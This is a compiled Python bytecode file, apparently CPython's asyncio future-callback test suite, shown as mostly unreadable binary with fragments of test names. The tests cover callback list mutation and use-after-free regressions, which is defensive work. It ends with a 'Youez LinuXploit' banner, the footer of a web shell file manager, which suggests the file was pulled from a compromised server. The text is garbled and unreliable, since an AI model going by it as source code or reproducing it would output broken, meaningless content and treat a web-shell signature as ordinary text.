c�D�[R"UR5 gr	)r�rWr_r's rrW�'BaseFutureDoneCallbackTests.run_brieflys�����t�y�y�)r
c�^^�UU4SjnU$)Nc�(>�TRT5 gr	)�append)r��bag�things ��r�bag_appender�@BaseFutureDoneCallbackTests._make_callback.<locals>.bag_appenders����J�J�u�r
r)r(rrrs `` r�_make_callback�*BaseFutureDoneCallbackTests._make_callbacks���	��r
c��[er	��NotImplementedErrorr's rr{�'BaseFutureDoneCallbackTests._new_future	���!�!r
c��/nUR5nURUS5nURUS5nURUS5nURU5 URU5 URU5 URU5 URU5 UR	U/5 URS5 UR
5 UR	USS/5 UR	UR5S5 g�Nr$�r��foo�r{rr�r�r�rIrWrB�r(rr�cb1�cb2�cb3s      r�$test_callbacks_remove_first_callback�@BaseFutureDoneCallbackTests.test_callbacks_remove_first_callbacks�����������!�!�#�r�*���!�!�#�r�*���!�!�#�s�+��	���C� �	���C� �	���C� �	���s�#�	���s�#�����b�!�	���U����������r�3�i�(��������U�+r
c�,�/nUR5nURUS5nURUS5nURUS5nURU5 URU5 URU5 URU5 URU5 URU5 UR	U/5 URS5 UR
5 UR	US/5 UR	UR5S5 grrr s      r�/test_callbacks_remove_first_and_second_callback�KBaseFutureDoneCallbackTests.test_callbacks_remove_first_and_second_callback#s�����������!�!�#�r�*���!�!�#�r�*���!�!�#�s�+��	���C� �	���C� �	���C� �	���s�#�	���s�#�	���s�#�����b�!�	���U����������s�e�$��������U�+r
c��/nUR5nURUS5nURUS5nURUS5nURU5 URU5 URU5 URU5 URU5 UR	U/5 URS5 UR
5 UR	USS/5 UR	UR5S5 grrr s      r�$test_callbacks_remove_third_callback�@BaseFutureDoneCallbackTests.test_callbacks_remove_third_callback;s�����������!�!�#�r�*���!�!�#�r�*���!�!�#�s�+��	���C� �	���C� �	���C� �	���s�#�	���s�#�����b�!�	���U����������r�2�h�'��������U�+r
c�z�/nUR5nURURUS55 URURUS55 URU/5 UR	S5 UR5 URUSS/5 URUR
5S5 g)Nr$rr)r{r�rr�rIrWrB)r(rrs   r�$test_callbacks_invoked_on_set_result�@BaseFutureDoneCallbackTests.test_callbacks_invoked_on_set_resultRs����������	���D�/�/��R�8�9�	���D�/�/��R�8�9�����b�!�	���U����������r�2�h�'��������U�+r
c�J�/nUR5nURURUS55 URU/5 [	5nURU5 UR
5 URUS/5 URUR5U5 g)Nr�)r{r�rr�r�rLrWrE)r(rrr�s    r�'test_callbacks_invoked_on_set_exception�CBaseFutureDoneCallbackTests.test_callbacks_invoked_on_set_exception`s����������	���D�/�/��S�9�:�����b�!��n��	�������������s�e�$���������,r
c���/nUR5nURUS5nURUS5nURUS5nURU5 URU5 URUR	U5S5 URUR	U5S5 URU5 [S5HnURU5 M URUR	U5S5 URU/5 UR
S5 UR5 URUS/5 URUR5S5 g)Nr�r�r�r��r)	r{rr�r�r�rrIrWrB)r(rrr!r"r#rs       r�test_remove_done_callback�5BaseFutureDoneCallbackTests.test_remove_done_callbackns<����������!�!�#�q�)���!�!�#�q�)���!�!�#�q�)��	
���C� �	���C� �	
����/�/��4�a�8�	
����/�/��4�a�8�	
���C� ��q��A�
����$��	
����/�/��4�a�8�����b�!�	���U����������q�c�"��������U�+r
c��^�UR5mTR[5 [S5HnTR[5 M "U4SjS5nTRU"55 g)N�?c�">�\rSrSrU4SjrSrg)�RBaseFutureDoneCallbackTests.test_remove_done_callbacks_list_mutation.<locals>.evili�c�0>�TR[5 gr&)r��id�r(�otherr�s  �r�__eq__�YBaseFutureDoneCallbackTests.test_remove_done_callbacks_list_mutation.<locals>.evil.__eq__�s����(�(��,�r
rN�rrrr r?r!r6s�rr�r:�s
���
�
r
r��r{r�r�rr<r��r(r�r�r�s   @r�(test_remove_done_callbacks_list_mutation�DBaseFutureDoneCallbackTests.test_remove_done_callbacks_list_mutation�sY������ �����c�"��r��A��!�!�"�%��	�	�
	� � ���(r
c��^�UR5mTR[5 [S5HnTR[5 M "U4SjS5nTRU"55 g)Nr8c�">�\rSrSrU4SjrSrg)�OBaseFutureDoneCallbackTests.test_remove_done_callbacks_list_clear.<locals>.evili�c�(>�TRU5 gr	)r�r=s  �rr?�VBaseFutureDoneCallbackTests.test_remove_done_callbacks_list_clear.<locals>.evil.__eq__�s����(�(��/r
rNrAr6s�rr�rH�s
���
0�
0r
r�rBrCs   @r�%test_remove_done_callbacks_list_clear�ABaseFutureDoneCallbackTests.test_remove_done_callbacks_list_clear�sY������ �����c�"��r��A��!�!�"�%��	0�	0�	� � ���(r
c��SnUR5nURU5 UR[5 UR[5 URS5 [R
"UR5 g)Nc�.�UR[5 gr	)r�r�rs r�mut�PBaseFutureDoneCallbackTests.test_schedule_callbacks_list_mutation_1.<locals>.mut�s��
�"�"�3�'r
r�)r{r�r�rIr�rWr_)r(rOr�s   r�'test_schedule_callbacks_list_mutation_1�CBaseFutureDoneCallbackTests.test_schedule_callbacks_list_mutation_1�s_��	(���� �����c�"����c�"����c�"����q�����t�y�y�)r
c��^^^�UR5mTR[5 [S5HnTR[5 M SmSm"UUU4SjS5nTRU"55 g)Nr8r�rc�&>�\rSrSrUUU4SjrSrg)�QBaseFutureDoneCallbackTests.test_schedule_callbacks_list_mutation_2.<locals>.evili�c�F>�TS-
mTT:aTR[5 g)Nr�F)r�r<)r(r>�	extra_cbsr��
max_extra_cbss  ���rr?�XBaseFutureDoneCallbackTests.test_schedule_callbacks_list_mutation_2.<locals>.evil.__eq__�s%����Q��	��}�,��)�)�"�-�r
rNrA)rWr�rXs���rr�rU�s
���
�
r
r�rB)r(r�r�rWr�rXs   @@@r�'test_schedule_callbacks_list_mutation_2�CBaseFutureDoneCallbackTests.test_schedule_callbacks_list_mutation_2�se������ �����c�"��r��A��!�!�"�%���
��	�	�	�	� � ���(r
c�^^^�SmSmUUU4Sjn[5nXl[RR	USU5 UR5mUR
TR5U5 TR[5 TR[5 TRT5 TRT5 TRS5 URTRS/45 SSS5 g!,(df   g=f)NFc��g�N.rrr
rr��OBaseFutureDoneCallbackTests.test_evil_call_soon_list_mutation.<locals>.<lambda>�s��cr
c�f>�T(a'TR[5 TRT5 gSmgrO)r��int)ryrz�called_on_fut_callback0r��pads  ���r�evil_call_soon�UBaseFutureDoneCallbackTests.test_evil_call_soon_list_mutation.<locals>.evil_call_soon�s*���&��(�(��-��(�(��-�*.�'r
r_rV)r#�	call_soonrr��objectr{rgr�r�r�rarI�assertInr�)r(rd�fake_event_looprbr�rcs   @@@r�!test_evil_call_soon_list_mutation�=BaseFutureDoneCallbackTests.test_evil_call_soon_list_mutation�s����"'����	/�.�/��$2�!�
�Z�Z�
�
�t�V�_�
=��"�"�$�C��M�M�#�,�,�.�/�:��!�!�#�&��!�!�#�&��!�!�#�&��!�!�#�&��N�N�6�"�
�M�M�#�.�.�4��*�5�>�
=�
=�s
�B,C7�7
Dc�^�UR5m"SS5n"U4SjSU5nTRU"55 TRU"55 g)Nc��\rSrSrSrSrg)�aBaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__eq__.<locals>.cb_padi�c��grOr)r(r>s  rr?�hBaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__eq__.<locals>.cb_pad.__eq__�s��r
rNrArr
r�cb_padrn�s��
r
rqc�">�\rSrSrU4SjrSrg)�_BaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__eq__.<locals>.evili�c�2>�TRS5 [$r	)r��NotImplementedr=s  �rr?�fBaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__eq__.<locals>.evil.__eq__�s����(�(��.�%�%r
rNrAr6s�rr�rs�s
���
&�
&r
r�)r{r�r�)r(rqr�r�s   @r�5test_use_after_free_on_fut_callback_0_with_evil__eq__�QBaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__eq__�sK������ ��	�	�	&�6�	&�
	���f�h�'�� � ���(r
c�|^^�"UU4SjS[5nU"5n[RRUSU5 UR	5mURTR
5U5 SmTRT5 UR[TRS5 SSS5 g!,(df   g=f)Nc�8>^�\rSrSrU4SjrUU4SjrSrU=r$)�rBaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__getattribute__.<locals>.EvilEventLoopic�0>�[TU]"U0UD6 [er	�r\rfr�r(ryrzrbs   �rrf�|BaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__getattribute__.<locals>.EvilEventLoop.call_soon������!�4�2�6�2�#�#r
c�^>�US:XaTRT5 @[RX5$)Nrf)r�rg�__getattribute__)r(�namer��fut_callback_0s  ��rr�ڃBaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__getattribute__.<locals>.EvilEventLoop.__getattribute__s-����;�&��,�,�^�<�&��.�.�t�:�:r
r�rrrr rfr�r!rq)rbr�r�s@��r�
EvilEventLoopr{s���
$�
;�
;r
r�r_c��gr^rrr
rr��mBaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__getattribute__.<locals>.<lambda>s��Sr
rV)r#rr�rgr{rgr�r�r�rrI)r(r��	evil_loopr�r�s   @@r�?test_use_after_free_on_fut_callback_0_with_evil__getattribute__�[BaseFutureDoneCallbackTests.test_use_after_free_on_fut_callback_0_with_evil__getattribute__s����
	;�
	;�/�
	;�"�O�	�
�Z�Z�
�
�t�V�Y�
7��"�"�$�C��M�M�#�,�,�.�)�4�(�N��!�!�.�1����m�S�^�^�V�D�
8�
7�
7�s�A&B-�-
B;c��^�"U4SjS[5nU"5n[RRUSU5 UR	5mURTR
5U5 [R"5n[R"5nTRX4S9 AAUR[TRS5 SSS5 g!,(df   g=f)Nc�6>^�\rSrSrU4SjrU4SjrSrU=r$)�qBaseFutureDoneCallbackTests.test_use_after_free_on_fut_context_0_with_evil__getattribute__.<locals>.EvilEventLoopic�0>�[TU]"U0UD6 [er	r}r~s   �rrf�{BaseFutureDoneCallbackTests.test_use_after_free_on_fut_context_0_with_evil__getattribute__.<locals>.EvilEventLoop.call_soon r�r
c�h>�US:XaTR[5S9 [RX5$)Nrfrp)r�r#rgr�)r(r�r�s  �rr�ڂBaseFutureDoneCallbackTests.test_use_after_free_on_fut_context_0_with_evil__getattribute__.<locals>.EvilEventLoop.__getattribute__$s.����;�&��L�L�&9�&;�L�<��.�.�t�:�:r
rr�)rbr�s@�rr�r�s���
$�
;�
;r
r�r_)�contextrV)r#rr�rgr{rgr�r�r�r�rrI)r(r�r�r��
fut_context_0r�s     @r�>test_use_after_free_on_fut_context_0_with_evil__getattribute__�ZBaseFutureDoneCallbackTests.test_use_after_free_on_fut_context_0_with_evil__getattribute__s����		;�/�		;�"�O�	�
�Z�Z�
�
�t�V�Y�
7��"�"�$�C��M�M�#�,�,�.�)�4�!�Y�Y�[�N� �I�I�K�M��!�!�.�!�H������m�S�^�^�V�D�8�
7�
7�s�B
C�
C rp)rrrr r]rWrr{r$r'r*r-r0r5rDrKrQrZrjrwr�r�r!rqrrs@rrr�sg���)�*��"�,�.,�0,�.,�-�,�B)� 
)�*�)�,6�B)�$E�0E�Er
rc��\rSrSrSrSrg)�CFutureDoneCallbackTestsi7c�>�[R"URS9$r��rr�r_r's rr{�$CFutureDoneCallbackTests._new_future<s�����T�Y�Y�/�/r
rN�rrrr r{r!rr
rr�r�7s��
0r
r�c��\rSrSrSrSrg)�CSubFutureDoneCallbackTestsi@c�T�"SS[R5nU"URS9$)Nc��\rSrSrSrg)�;CSubFutureDoneCallbackTests._new_future.<locals>.CSubFutureiFrNrrr
rrr�Fr�r
rrpr�)r(rs  rr{�'CSubFutureDoneCallbackTests._new_futureEs#��	��)�)�	��t�y�y�)�)r
rNr�rr
rr�r�@s��
*r
r�c��\rSrSrSrSrg)�PyFutureDoneCallbackTestsiKc�>�[R"URS9$r�)rrr_r's rr{�%PyFutureDoneCallbackTests._new_futureNs��� � �d�i�i�0�0r
rNr�rr
rr�r�Ks��1r
r�c�4^�\rSrSrSrU4SjrSrSrU=r$)�BaseFutureInheritanceTestsiRc��[er	rr's r�_get_future_cls�*BaseFutureInheritanceTests._get_future_clsTrr
c�>�[TU]5 UR5UlUR	URR
5 gr	r[ras �rr]� BaseFutureInheritanceTests.setUpWrdr
c���UR5n"SSU5nU"URS9nUR[S5 UR	5 SSS5 g!,(df   g=f)Nc��\rSrSrSrSrg)�QBaseFutureInheritanceTests.test_inherit_without_calling_super_init.<locals>.MyFuti`c��gr	rrxs   rr��ZBaseFutureInheritanceTests.test_inherit_without_calling_super_init.<locals>.MyFut.__init__as��r
rN)rrrr r�r!rr
r�MyFutr�`s��
r
r�rpz!Future object is not initialized.)r�r_r�r�r�)r(rwr�r�s    r�'test_inherit_without_calling_super_init�BBaseFutureInheritanceTests.test_inherit_without_calling_super_init\s[���"�"�$��	�C�	�
����#��
�
#�
#��/�
�
�L�L�N�	
�
�
�s�A�
A*rp)	rrrr r�r]r�r!rqrrs@rr�r�Rs���"�)�
�r
r�c��\rSrSrSrSrg)�PyFutureInheritanceTestsimc�"�[R$r	)rrr's rr��(PyFutureInheritanceTests._get_future_clsos��� � � r
rN�rrrr r�r!rr
rr�r�ms��!r
r�c��\rSrSrSrSrg)�CFutureInheritanceTestsisc�"�[R$r	)rr�r's rr��'CFutureInheritanceTests._get_future_clsws�����r
rNr�rr
rr�r�ss�� r
r��__main__).�concurrent.futuresr"r�rr�rdr%�unittestr�typesrr
rr��test.test_asynciorr�r�rrrrrr�r�base_events�
BaseEventLoopr#r2�TestCaserXrt�
skipUnlessr�r�rrrr�r�r�r�r�r�r�mainrr
r�<module>r�s-���	�	�
���������1��(�
�	�	��I��	�'�-�-�;�;�	�0�0�f�
�#�#��$B	8�B	8�J
���W�W�j�1�5�7�%*�?�J�$7�$7�%*�7�%*�P
���W�W�j�1�5�7��o�z�':�':��7���O�Z�%8�%8��zE�zE�z	
���W�W�j�1�5�7�0�:�)�2�2�0�7�0�
���W�W�j�1�5�7�*�"=�",�"5�"5�*�7�*�1� ;� *� 3� 3�1���6!�9�)�2�2�!�
���W�W�j�1�5�7� �8�(�1�1� �7� ��z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit